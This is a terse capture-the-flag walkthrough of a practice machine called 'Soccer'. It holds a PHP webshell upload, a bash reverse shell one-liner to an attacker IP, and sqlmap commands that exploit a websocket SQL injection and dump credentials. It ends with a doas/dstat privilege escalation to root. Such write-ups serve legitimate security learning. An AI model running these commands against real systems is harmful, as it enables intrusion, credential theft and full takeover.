feroxbuster -u http://soccer.htb/

/tiny

after fail login

https://tinyfilemanager.github.io/docs/

Default credentials works

Great we have version 2.4.3 searching for exploits I found https://www.exploit-db.com/exploits/50828

but in mean time I tried to upload php webshell and it works

now quick one liner to get reverse shell

bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"

cant find easy wins to switch user so run linpeas and found Doas Configuration maybe for later

3 intersting local port 2 looks like mysql

and new subdomain, good place to start

simmilar page but we can login and register

Created account

after login we got sth like that maybe sql injection

App is using websocket

tested for sql injection

Now let’s start sqlmap websocket module

sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --batch --risk 3 --level 5 --threads 10

and sqlmap found boolean-base blind injection

Now dump database

sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --batch --risk 3 --level 5 --dbms mysql --threads 10 --dump

And we got username and password PlayerOftheMatch2022 player Now we can ssh to the machine

Privilege Escalation

now let’s back to our linpeas scan and check for doas config

Found doas cheat sheet priv esc post https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/doas/ and after few tries I got root access

echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py

doas /usr/bin/dstat --xxx
